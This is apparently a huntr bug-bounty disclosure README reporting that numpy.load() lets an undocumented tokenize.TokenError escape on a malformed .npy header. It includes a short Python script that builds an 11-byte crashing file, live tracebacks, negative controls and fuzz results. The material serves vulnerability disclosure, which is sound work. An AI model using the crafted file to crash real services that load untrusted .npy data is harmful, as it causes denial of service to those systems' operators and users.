EnigmaConsultant/huntr-poc-numpy-tokenerror-npy-header

numpy.load() raises undocumented, uncaught tokenize.TokenError on a malformed .npy header — DoS via broken error-handling contract

Target: numpy (https://github.com/numpy/numpy) Affected versions verified: 2.5.1 (current PyPI release, fresh venv) and 2.3.5 (Debian/Kali-packaged, /usr/lib/python3/dist-packages/numpy) Category: Model File Format / malformed-input DoS via contract violation (uncaught exception type not in documented Raises: list) Component: numpy/lib/_format_impl.py

Summary

numpy.load() documents its Raises section as only OSError, UnpicklingError, ValueError, and EOFError. Any caller written against that documented contract — e.g.

try:
    arr = numpy.load(untrusted_path)
except (OSError, ValueError, EOFError):
    ...

will not catch the exception numpy actually raises on a broad class of malformed .npy version 1.0/2.0 files: tokenize.TokenError, a plain Exception subclass unrelated to ValueError. The uncaught exception propagates out of numpy.load(), crashing any code that trusted the documented contract — a denial-of-service against any service/pipeline that loads untrusted or corrupted .npy files and only guards against the documented exception types.

Root cause

In numpy/lib/_format_impl.py, _read_array_header() parses the ASCII header dict of a .npy file with ast.literal_eval(header). When that raises SyntaxError (a common outcome for a malformed header), the code falls back to a legacy Python-2-compatibility helper, _filter_header(header):

def _filter_header(s):
    ...
    tokens = []
    last_token_was_number = False
    for token in tokenize.generate_tokens(StringIO(s).readline):
        ...

tokenize.generate_tokens is called with no exception handling in _filter_header, and none of its callers (_read_array_header → read_array → numpy.load) catch tokenize.TokenError either. For many malformed/truncated headers (e.g. an unterminated string literal, an unbalanced bracket, etc.) CPython's tokenizer raises tokenize.TokenError instead of SyntaxError, and that exception is never translated to ValueError — it propagates straight out of numpy.load().

Call chain (from the live traceback captured below):

numpy.load()
  -> numpy/lib/_npyio_impl.py:483  format.read_array(...)
    -> numpy/lib/_format_impl.py:822  read_array() -> _read_array_header(...)
      -> numpy/lib/_format_impl.py:661  _read_array_header() -> _filter_header(header)
        -> numpy/lib/_format_impl.py:608  tokenize.generate_tokens(StringIO(s).readline)
          -> tokenize.py:588  raise TokenError(...) from None   # uncaught all the way up

Proof of Concept

An 11-byte .npy file is enough to trigger it:

• Magic: \x93NUMPY
• Version: \x01\x00 (format 1.0)
• Header length (little-endian uint16): 0x0001 (1 byte)
• Header byte: ' — a single unterminated string-literal quote

import struct
magic   = b'\x93NUMPY'
version = b'\x01\x00'
header  = b"'"
hlen    = struct.pack('<H', len(header))
with open('crash_min.npy', 'wb') as f:
    f.write(magic + version + hlen + header)

import numpy
numpy.load('crash_min.npy')   # default args, no allow_pickle, no special flags

Files crash_min.npy and the scripts used are included in this repo.

Captured evidence (verbatim, reproduced live on this machine)

On Debian/Kali-packaged numpy 2.3.5 (/usr/lib/python3/dist-packages/numpy, Python 3.13):

Traceback (most recent call last):
  File "<string>", line 3, in <module>
    numpy.load('crash_min.npy')
    ~~~~~~~~~~^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/numpy/lib/_npyio_impl.py", line 483, in load
    return format.read_array(fid, allow_pickle=allow_pickle,
           ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                             pickle_kwargs=pickle_kwargs,
                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                             max_header_size=max_header_size)
                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/numpy/lib/_format_impl.py", line 822, in read_array
    shape, fortran_order, dtype = _read_array_header(
                                  ~~~~~~~~~~~~~~~~~~^
            fp, version, max_header_size=max_header_size)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/numpy/lib/_format_impl.py", line 661, in _read_array_header
    header = _filter_header(header)
  File "/usr/lib/python3/dist-packages/numpy/lib/_format_impl.py", line 608, in _filter_header
    for token in tokenize.generate_tokens(StringIO(s).readline):
                 ~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/tokenize.py", line 588, in _generate_tokens_from_c_tokenizer
    raise TokenError(msg, (e.lineno, e.offset)) from None
tokenize.TokenError: ('unterminated string literal (detected at line 1)', (1, 1))

On numpy 2.5.1 (current PyPI release, fresh venv, both via io.BytesIO and via a real on-disk file path): identical tokenize.TokenError: ('unterminated string literal (detected at line 1)', (1, 1)), same call chain (numpy/lib/_npyio_impl.py → numpy/lib/_format_impl.py:read_array → _read_array_header → _filter_header → tokenize.generate_tokens).

Negative controls (isolating the bug, run live)

1. Legitimate .npy file loads fine — np.load() on a normally-saved array returns correctly ([1 2 3]), ruling out a general breakage of np.load.
2. A different malformed-but-tokenizable header (1+1) correctly raises the documented ValueError — confirms the bug is specific to headers that break CPython's tokenizer (raising TokenError), not to malformed headers in general; ast.literal_eval-rejected-but-tokenizable input is already handled correctly and stays in-contract.
3. Defensive-wrapper test — code written exactly to the documented contract, except (OSError, ValueError, EOFError):, does not catch the exception; it escapes with *** ESCAPED THE DOCUMENTED CATCH CLAUSE *** unhandled tokenize.TokenError: (...).

Captured verbatim (negative_controls_and_wrapper.txt, this run):

--- negative control 1: legitimate npy loads fine ---
OK, loaded: [1 2 3]

--- negative control 2: different malformed header (1+1) raises documented ValueError ---
Correctly raised ValueError (in-contract): malformed node or string on line 1: <ast.BinOp object at 0x7f1f66aa2c10>

--- defensive wrapper test (typical documented-contract usage) ---
*** ESCAPED THE DOCUMENTED CATCH CLAUSE *** unhandled tokenize.TokenError: ('unterminated string literal (detected at line 1)', (1, 1))

Fuzz campaign (breadth, not just a single fragile edge case)

A ~20,000-iteration randomized-header fuzz campaign against np.load() (random malformed/truncated header bytes fed through io.BytesIO, allow_pickle=False) independently rediscovered the same tokenize.TokenError class in 12,839 / 20,000 cases (64%):

TokenError: 12839
UnicodeDecodeError: 6680   (this one is actually a ValueError subclass, so in-contract)
ValueError: 481
crash_count (BaseException/non-Exception): 0

This shows the contract-violating exception type is trivially and broadly reachable from malformed/corrupted .npy headers — not a single carefully-engineered edge case.

Impact

Any service, ML pipeline, data-loading library, or application that:

• loads .npy files from untrusted or unreliable sources (uploaded files, network data, shared storage, partially-written/corrupted checkpoints), and
• defensively wraps numpy.load() per its documented contract (except (OSError, ValueError, EOFError)),

will suffer an unhandled exception and crash (denial of service) on a malformed input that a well-written, spec-compliant caller has no reason to expect could bypass its error handling. This is a contract-violation / robustness bug: numpy's own docstring makes a promise about which exceptions can occur, and this code path breaks that promise for a broad, easily-triggered class of inputs.

Dedup note

This is unrelated to known numpy pickle/RCE-in-.npy issues (e.g. allow_pickle object-array deserialization CVEs) and to prior findings in this account's own huntr history (EnigmaConsultant/huntr-poc-numpy-bigheader-rce, which concerns a big-header resource-exhaustion/RCE angle, not this exception-contract-violation bug). No existing huntr/CVE entry was found describing tokenize.TokenError escaping numpy.load()'s documented exception contract via the legacy _filter_header compatibility path.

Files in this repo

• crash_min.npy — 11-byte minimal PoC file
• crash_evidence_system_numpy_2.3.5.txt — verbatim captured traceback on distro numpy 2.3.5
• negative_controls_and_wrapper.txt — verbatim output of the three negative-control / wrapper tests
• poc_build_and_repro.py — script that builds crash_min.npy and reproduces the crash